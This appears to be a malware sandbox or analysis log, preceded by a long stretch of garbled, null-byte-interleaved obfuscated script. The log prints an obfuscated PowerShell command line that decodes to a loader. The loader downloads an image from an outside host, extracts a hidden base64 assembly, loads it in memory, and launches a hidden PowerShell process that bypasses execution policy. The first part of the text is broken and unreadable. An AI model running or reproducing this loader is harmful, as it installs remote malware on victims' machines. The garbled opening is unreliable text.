i\x00 I\x00 G\x00 o\x00 j\x00 I\x00 D\x00 e\x00 t\x00 U\x00 e\x00 Z\x00 d\x00 g\x00 T\x00 j\x00 I\x00 c\x00 i\x00 Z\x00 r\x00 y\x00 a\x00 R\x00 n\x00 E\x00 f\x00 Q\x00 K\x00 H\x00 N\x00 e\x00 T\x00 D\x00 P\x00 m\x00 B\x00 H\x00 H\x00 Z\x00 f\x00 N\x00 u\x00 y\x00 e\x00 F\x00 d\x00 f\x00 R\x00 f\x00 h\x00 E\x00 q\x00 t\x00 C\x00 T\x00 J\x00 d\x00 A\x00 q\x00 G\x00 E\x00 i\x00 E\x00 W\x00 R\x00 v\x00 K\x00 h\x00 a\x00 v\x00 w\x00 g\x00 q\x00(\x00S\x00 t\x00 x\x00 r\x00 u\x00 K\x00 V\x00 b\x00 N\x00 M\x00 f\x00 a\x00 o\x00 M\x00 v\x00 V\x00 V\x00 E\x00 Y\x00 d\x00 v\x00 Z\x00 M\x00 B\x00 z\x00 t\x00 e\x00 c\x00 s\x00 l\x00 l\x00 b\x00 p\x00 N\x00 t\x00 g\x00 d\x00 a\x00 u\x00 j\x00 I\x00 s\x00 K\x00 F\x00 c\x00 J\x00 O\x00 e\x00 g\x00 K\x00 Q\x00 W\x00 G\x00 N\x00 V\x00 D\x00 o\x00 F\x00 g\x00 g\x00 U\x00 o\x00 P\x00 Z\x00 r\x00 Q\x00 P\x00 s\x00 z\x00 c\x00 Q\x00 e\x00 d\x00 m\x00 j\x00 p\x00 c\x00 r\x00 V\x00 K\x00 F\x00 q\x00 o\x00 d\x00 i\x00 Q\x00 q\x00 U\x00 j\x00 i\x00 u\x00 D\x00 O\x00 J\x00 g\x00 c\x00 i\x00 Z\x00 h\x00 I\x00 N\x00 f\x00 Y\x00 X\x00 E\x00 t\x00 B\x00 F\x00 w\x00 D\x00 I\x00 j\x00 f\x00 F\x00 b\x00 P\x00 i\x00 m\x00 h\x00 E\x00 F\x00 K\x00 W\x00 n\x00 w\x00 U\x00 j\x00 d\x00 m\x00 W\x00 x\x00 A\x00 F\x00 u\x00 Y\x00 M\x00 i\x00 g\x00 D\x00 v\x00 N\x00 S\x00 j\x00 n\x00 S\x00 m\x00 f\x00 O\x00 g\x00 H\x00 D\x00 Y\x00 u\x00 M\x00 p\x00 V\x00 r\x00 k\x00 q\x00 Q\x00 I\x00 M\x00 U\x00 o\x00 C\x00 U\x00 p\x00 d\x00 J\x00 Z\x00 I\x00 w\x00 r\x00 c\x00 x\x00 f\x00 U\x00 s\x00 v\x00 V\x00 L\x00 P\x00 I\x00 Z\x00 l\x00 F\x00 g\x00 C\x00 m\x00 u\x00 o\x00 e\x00 F\x00 y\x00)\x00;\x00\x00\x00\x00\x00\x00\x00 I\x00 W\x00 W\x00 x\x00 R\x00 O\x00 f\x00 S\x00 q\x00 n\x00 e\x00 X\x00 x\x00 m\x00 M\x00 P\x00 G\x00 d\x00 j\x00 J\x00 F\x00 V\x00 g\x00 J\x00 m\x00 O\x00 k\x00 x\x00 l\x00 K\x00 L\x00 s\x00 q\x00 Q\x00 B\x00 k\x00 K\x00 N\x00 n\x00 M\x00 e\x00 u\x00 M\x00 u\x00 X\x00 J\x00 X\x00 V\x00 p\x00 A\x00 j\x00 s\x00 y\x00 N\x00 M\x00 M\x00 Q\x00 e\x00 v\x00 e\x00 o\x00 M\x00 n\x00 M\x00 J\x00 h\x00 G\x00 m\x00 B\x00 E\x00 D\x00 u\x00 q\x00 O\x00 W\x00 T\x00 z\x00 J\x00 L\x00 b\x00 r\x00 U\x00 s\x00 Y\x00 A\x00 r\x00 k\x00 w\x00 p\x00 h\x00 P\x00 N\x00 E\x00 J\x00 G\x00 U\x00 E\x00 Q\x00 v\x00 F\x00 g\x00 j\x00 l\x00 P\x00 D\x00 K\x00 l\x00 e\x00 q\x00 j\x00 T\x00 v\x00 e\x00 L\x00 g\x00 c\x00 K\x00 d\x00 T\x00 v\x00 S\x00 D\x00 c\x00 v\x00 g\x00 J\x00 W\x00 u\x00 s\x00 u\x00 R\x00 w\x00 I\x00 M\x00 n\x00 U\x00 S\x00 R\x00 O\x00 l\x00 O\x00 s\x00 N\x00 m\x00 y\x00 k\x00 u\x00 j\x00 J\x00 n\x00 K\x00 Z\x00 H\x00 P\x00 d\x00 A\x00 k\x00 m\x00 x\x00 s\x00 o\x00 t\x00 r\x00 h\x00 z\x00 c\x00 m\x00 V\x00 Z\x00 w\x00 F\x00 l\x00 o\x00 m\x00 H\x00 f\x00 d\x00 M\x00 j\x00 N\x00 A\x00 o\x00 f\x00 G\x00 S\x00 S\x00 V\x00 H\x00 m\x00 K\x00 K\x00 Q\x00 J\x00 O\x00 X\x00\x00 = \x00\x00S\x00 t\x00 x\x00 r\x00 u\x00 K\x00 V\x00 b\x00 N\x00 M\x00 f\x00 a\x00 o\x00 M\x00 v\x00 V\x00 V\x00 E\x00 Y\x00 d\x00 v\x00 Z\x00 M\x00 B\x00 z\x00 t\x00 e\x00 c\x00 s\x00 l\x00 l\x00 b\x00 p\x00 N\x00 t\x00 g\x00 d\x00 a\x00 u\x00 j\x00 I\x00 s\x00 K\x00 F\x00 c\x00 J\x00 O\x00 e\x00 g\x00 K\x00 Q\x00 W\x00 G\x00 N\x00 V\x00 D\x00 o\x00 F\x00 g\x00 g\x00 U\x00 o\x00 P\x00 Z\x00 r\x00 Q\x00 P\x00 s\x00 z\x00 c\x00 Q\x00 e\x00 d\x00 m\x00 j\x00 p\x00 c\x00 r\x00 V\x00 K\x00 F\x00 q\x00 o\x00 d\x00 i\x00 Q\x00 q\x00 U\x00 j\x00 i\x00 u\x00 D\x00 O\x00 J\x00 g\x00 c\x00 i\x00 Z\x00 h\x00 I\x00 N\x00 f\x00 Y\x00 X\x00 E\x00 t\x00 B\x00 F\x00 w\x00 D\x00 I\x00 j\x00 f\x00 F\x00 b\x00 P\x00 i\x00 m\x00 h\x00 E\x00 F\x00 K\x00 W\x00 n\x00 w\x00 U\x00 j\x00 d\x00 m\x00 W\x00 x\x00 A\x00 F\x00 u\x00 Y\x00 M\x00 i\x00 g\x00 D\x00 v\x00 N\x00 S\x00 j\x00 n\x00 S\x00 m\x00 f\x00 O\x00 g\x00 H\x00 D\x00 Y\x00 u\x00 M\x00 p\x00 V\x00 r\x00 k\x00 q\x00 Q\x00 I\x00 M\x00 U\x00 o\x00 C\x00 U\x00 p\x00 d\x00 J\x00 Z\x00 I\x00 w\x00 r\x00 c\x00 x\x00 f\x00 U\x00 s\x00 v\x00 V\x00 L\x00 P\x00 I\x00 Z\x00 l\x00 F\x00 g\x00 C\x00 m\x00 u\x00 o\x00 e\x00 F\x00 y\x00.\x00j\x00 E\x00 F\x00 J\x00 p\x00 t\x00 z\x00 F\x00 g\x00 I\x00 F\x00 V\x00 e\x00 B\x00 m\x00 B\x00 h\x00 u\x00 d\x00 y\x00 x\x00 F\x00 y\x00 c\x00 l\x00 J\x00 Q\x00 M\x00 j\x00 Z\x00 g\x00 k\x00 w\x00 m\x00 K\x00 v\x00 L\x00 d\x00 E\x00 B\x00 J\x00 I\x00 R\x00 h\x00 E\x00 g\x00 y\x00 O\x00 S\x00 y\x00 I\x00 j\x00 n\x00 A\x00 C\x00 V\x00 D\x00 j\x00 H\x00 W\x00 O\x00 D\x00 j\x00 k\x00 Z\x00 k\x00 d\x00 c\x00 w\x00 R\x00 q\x00 Z\x00 z\x00 v\x00 V\x00 z\x00 V\x00 o\x00 r\x00 m\x00 q\x00 c\x00 Z\x00 E\x00 M\x00 d\x00 o\x00 P\x00 K\x00 R\x00 A\x00 K\x00 W\x00 r\x00 J\x00 W\x00 A\x00 Z\x00 c\x00 v\x00 u\x00 x\x00 K\x00 X\x00 c\x00 N\x00 B\x00 P\x00 j\x00 k\x00 Q\x00 v\x00 Y\x00 v\x00 f\x00 h\x00 m\x00 Q\x00 D\x00 A\x00 b\x00 I\x00 R\x00 b\x00 k\x00 L\x00 I\x00 a\x00 U\x00 b\x00 I\x00 J\x00 W\x00 w\x00 L\x00 M\x00 p\x00 a\x00 k\x00 p\x00 X\x00 d\x00 h\x00 i\x00 a\x00 q\x00 i\x00 j\x00 s\x00 j\x00 r\x00 O\x00 X\x00 V\x00 t\x00 Q\x00 Z\x00 n\x00 F\x00 b\x00 M\x00 A\x00 o\x00 q\x00 I\x00 U\x00 H\x00 t\x00 i\x00 z\x00 a\x00 z\x00 x\x00 O\x00 c\x00 n\x00 Y\x00 J\x00 a\x00 r\x00 v\x00 i\x00 R\x00 W\x00 X\x00 e\x00 O\x00 Z\x00 d\x00(\x00"\x00b\x00Y\x00l\x00p\x00y\x00E\x00q\x00Z\x00f\x00O\x00s\x00i\x00l\x00g\x00s\x00P\x00M\x00p\x00x\x00w\x00c\x00y\x00s\x00n\x00O\x00T\x00P\x00f\x00B\x00M\x00o\x00v\x00u\x00k\x00q\x00C\x00M\x00s\x00Q\x00C\x00d\x00D\x00Q\x00U\x00m\x00O\x00l\x00B\x00W\x00C\x00j\x00j\x00D\x00Z\x00z\x00U\x00b\x00q\x00U\x00Y\x00z\x00l\x00U\x00W\x00W\x00e\x00I\x00I\x00v\x00i\x00D\x00V\x00J\x00s\x00m\x00l\x00m\x00Z\x00e\x00k\x00o\x00w\x00A\x00h\x00l\x00N\x00z\x00n\x00t\x00D\x00r\x00W\x00C\x00u\x00e\x00i\x00o\x00p\x00g\x00H\x00r\x00g\x00E\x00n\x00y\x00A\x00T\x00d\x00T\x00j\x00U\x00S\x00t\x00h\x00E\x00P\x00V\x00E\x00z\x00Y\x00e\x00X\x00O\x00F\x00l\x00T\x00a\x00z\x00B\x00R\x00h\x00N\x00n\x00g\x00J\x00K\x00T\x00e\x00n\x00h\x00J\x00Z\x00h\x00K\x00j\x00u\x00u\x00F\x00N\x00o\x00a\x00p\x00V\x00U\x00U\x00T\x00B\x00G\x00C\x00r\x00F\x00B\x00M\x00n\x00R\x00E\x00c\x00L\x00r\x00d\x00g\x00B\x00E\x00N\x00b\x00Z\x00i\x00S\x00t\x00S\x00X\x00M\x00c\x00I\x00t\x00i\x00L\x00g\x00j\x00h\x00H\x00j\x00:\x00P\x00r\x00i\x00n\x00t\x00C\x00a\x00p\x00a\x00b\x00i\x00l\x00i\x00t\x00i\x00e\x00s\x00"\x00)\x00;\x00\x00\x00\x00\x00\x00\x00 i\x00 f\x00\x00(\x00I\x00 W\x00 W\x00 x\x00 R\x00 O\x00 f\x00 S\x00 q\x00 n\x00 e\x00 X\x00 x\x00 m\x00 M\x00 P\x00 G\x00 d\x00 j\x00 J\x00 F\x00 V\x00 g\x00 J\x00 m\x00 O\x00 k\x00 x\x00 l\x00 K\x00 L\x00 s\x00 q\x00 Q\x00 B\x00 k\x00 K\x00 N\x00 n\x00 M\x00 e\x00 u\x00 M\x00 u\x00 X\x00 J\x00 X\x00 V\x00 p\x00 A\x00 j\x00 s\x00 y\x00 N\x00 M\x00 M\x00 Q\x00 e\x00 v\x00 e\x00 o\x00 M\x00 n\x00 M\x00 J\x00 h\x00 G\x00 m\x00 B\x00 E\x00 D\x00 u\x00 q\x00 O\x00 W\x00 T\x00 z\x00 J\x00 L\x00 b\x00 r\x00 U\x00 s\x00 Y\x00 A\x00 r\x00 k\x00 w\x00 p\x00 h\x00 P\x00 N\x00 E\x00 J\x00 G\x00 U\x00 E\x00 Q\x00 v\x00 F\x00 g\x00 j\x00 l\x00 P\x00 D\x00 K\x00 l\x00 e\x00 q\x00 j\x00 T\x00 v\x00 e\x00 L\x00 g\x00 c\x00 K\x00 d\x00 T\x00 v\x00 S\x00 D\x00 c\x00 v\x00 g\x00 J\x00 W\x00 u\x00 s\x00 u\x00 R\x00 w\x00 I\x00 M\x00 n\x00 U\x00 S\x00 R\x00 O\x00 l\x00 O\x00 s\x00 N\x00 m\x00 y\x00 k\x00 u\x00 j\x00 J\x00 n\x00 K\x00 Z\x00 H\x00 P\x00 d\x00 A\x00 k\x00 m\x00 x\x00 s\x00 o\x00 t\x00 r\x00 h\x00 z\x00"47:T3502,Process "powershell.exe" with commandline "-command "$Codigo = 'J\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJwBo\u265b\u265aHQ\u265b\u265ad\u265b\u265aBw\u265b\u265aHM\u265b\u265aOg\u265b\u265av\u265b\u265aC8\u265b\u265adQBw\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZ\u265b\u265aBl\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBu\u265b\u265aHM\u265b\u265aLgBj\u265b\u265aG8\u265b\u265abQ\u265b\u265au\u265b\u265aGI\u265b\u265acg\u265b\u265av\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBz\u265b\u265aC8\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDQ\u265b\u265aLw\u265b\u265a2\u265b\u265aDY\u265b\u265aNg\u265b\u265av\u265b\u265aDY\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aC8\u265b\u265abwBy\u265b\u265aGk\u265b\u265aZwBp\u265b\u265aG4\u265b\u265aYQBs\u265b\u265aC8\u265b\u265aagBz\u265b\u265aC4\u265b\u265aagBw\u265b\u265aGc\u265b\u265aPw\u265b\u265ax\u265b\u265aDc\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDE\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aDg\u265b\u265aNg\u265b\u265a0\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHc\u265b\u265aZQBi\u265b\u265aEM\u265b\u265ab\u265b\u265aBp\u265b\u265aGU\u265b\u265abgB0\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aE4\u265b\u265aZQB3\u265b\u265aC0\u265b\u265aTwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aI\u265b\u265aBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aE4\u265b\u265aZQB0\u265b\u265aC4\u265b\u265aVwBl\u265b\u265aGI\u265b\u265aQwBs\u265b\u265aGk\u265b\u265aZQBu\u265b\u265aHQ\u265b\u265aOw\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aB3\u265b\u265aGU\u265b\u265aYgBD\u265b\u265aGw\u265b\u265aaQBl\u265b\u265aG4\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEQ\u265b\u265abwB3\u265b\u265aG4\u265b\u265ab\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265aBE\u265b\u265aGE\u265b\u265ad\u265b\u265aBh\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aaQBt\u265b\u265aGE\u265b\u265aZwBl\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aLgBF\u265b\u265aG4\u265b\u265aYwBv\u265b\u265aGQ\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aVQBU\u265b\u265aEY\u265b\u265aO\u265b\u265a\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFM\u265b\u265ad\u265b\u265aBy\u265b\u265aGk\u265b\u265abgBn\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aQgB5\u265b\u265aHQ\u265b\u265aZQBz\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aUwBU\u265b\u265aEE\u265b\u265aUgBU\u265b\u265aD4\u265b\u265aPg\u265b\u265an\u265b\u265aDs\u265b\u265aJ\u265b\u265aBl\u265b\u265aG4\u265b\u265aZ\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aRQBO\u265b\u265aEQ\u265b\u265aPg\u265b\u265a+\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aV\u265b\u265aBl\u265b\u265aHg\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265aBP\u265b\u265aGY\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aGU\u265b\u265abgBk\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aE8\u265b\u265aZg\u265b\u265ao\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aRgBs\u265b\u265aGE\u265b\u265aZw\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBz\u265b\u265aHQ\u265b\u265aYQBy\u265b\u265aHQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aGU\u265b\u265aI\u265b\u265a\u265b\u265aw\u265b\u265aC\u265b\u265a\u265b\u265aLQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265ar\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC4\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aOw\u265b\u265ak\u265b\u265aGI\u265b\u265aYQBz\u265b\u265aGU\u265b\u265aNg\u265b\u265a0\u265b\u265aEw\u265b\u265aZQBu\u265b\u265aGc\u265b\u265ad\u265b\u265aBo\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQ\u265b\u265ag\u265b\u265aCQ\u265b\u265acwB0\u265b\u265aGE\u265b\u265acgB0\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265a7\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aUwB1\u265b\u265aGI\u265b\u265acwB0\u265b\u265aHI\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aEM\u265b\u265abwBu\u265b\u265aHY\u265b\u265aZQBy\u265b\u265aHQ\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aRgBy\u265b\u265aG8\u265b\u265abQBC\u265b\u265aGE\u265b\u265acwBl\u265b\u265aDY\u265b\u265aN\u265b\u265aBT\u265b\u265aHQ\u265b\u265acgBp\u265b\u265aG4\u265b\u265aZw\u265b\u265ao\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBs\u265b\u265aG8\u265b\u265aYQBk\u265b\u265aGU\u265b\u265aZ\u265b\u265aBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFI\u265b\u265aZQBm\u265b\u265aGw\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aaQBv\u265b\u265aG4\u265b\u265aLgBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aT\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265ad\u265b\u265aB5\u265b\u265aH\u265b\u265a\u265b\u265aZQ\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZQBk\u265b\u265aEE\u265b\u265acwBz\u265b\u265aGU\u265b\u265abQBi\u265b\u265aGw\u265b\u265aeQ\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265an\u265b\u265aEY\u265b\u265aaQBi\u265b\u265aGU\u265b\u265acg\u265b\u265au\u265b\u265aEg\u265b\u265abwBt\u265b\u265aGU\u265b\u265aJw\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBt\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aLgBH\u265b\u265aGU\u265b\u265ad\u265b\u265aBN\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aVgBB\u265b\u265aEk\u265b\u265aJw\u265b\u265ap\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aHY\u265b\u265abwBr\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aG4\u265b\u265adQBs\u265b\u265aGw\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aFs\u265b\u265abwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aWwBd\u265b\u265aF0\u265b\u265aI\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aZ\u265b\u265aBI\u265b\u265aGg\u265b\u265aM\u265b\u265aBM\u265b\u265aGo\u265b\u265aUQ\u265b\u265ay\u265b\u265aFo\u265b\u265aW\u265b\u265aBO\u265b\u265aGg\u265b\u265aWQBu\u265b\u265aGw\u265b\u265aeQBa\u265b\u265aFg\u265b\u265aWgB2\u265b\u265aFk\u265b\u265aMgBW\u265b\u265aHk\u265b\u265aZ\u265b\u265aBH\u265b\u265aE4\u265b\u265aa\u265b\u265aBk\u265b\u265aEc\u265b\u265aNQB2\u265b\u265aFk\u265b\u265aMgBo\u265b\u265aD\u265b\u265a\u265b\u265aYQBY\u265b\u265aGQ\u265b\u265adwBk\u265b\u265aEc\u265b\u265aWgBs\u265b\u265aGI\u265b\u265aRwBs\u265b\u265aG0\u265b\u265aWgBH\u265b\u265aGw\u265b\u265adgBj\u265b\u265aG0\u265b\u265aUQB2\u265b\u265aE8\u265b\u265aR\u265b\u265aBr\u265b\u265aHU\u265b\u265aTQBE\u265b\u265aFU\u265b\u265aeQBM\u265b\u265aGo\u265b\u265aSQ\u265b\u265a1\u265b\u265aEw\u265b\u265aagBF\u265b\u265aDU\u265b\u265aT\u265b\u265aB5\u265b\u265aDg\u265b\u265aNgBj\u265b\u265aEg\u265b\u265aUg\u265b\u265aw\u265b\u265aGE\u265b\u265aQQ\u265b\u265a9\u265b\u265aD0\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGQ\u265b\u265aZgBk\u265b\u265aGY\u265b\u265aZ\u265b\u265a\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBh\u265b\u265aGQ\u265b\u265acwBh\u265b\u265aCc\u265b\u265aI\u265b\u265a\u265b\u265as\u265b\u265aC\u265b\u265a\u265b\u265aJwBk\u265b\u265aGU\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGM\u265b\u265adQ\u265b\u265an\u265b\u265aCk\u265b\u265aKQ\u265b\u265a=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('\u265b\u265a','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"" (UID: 00000000-00002316) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 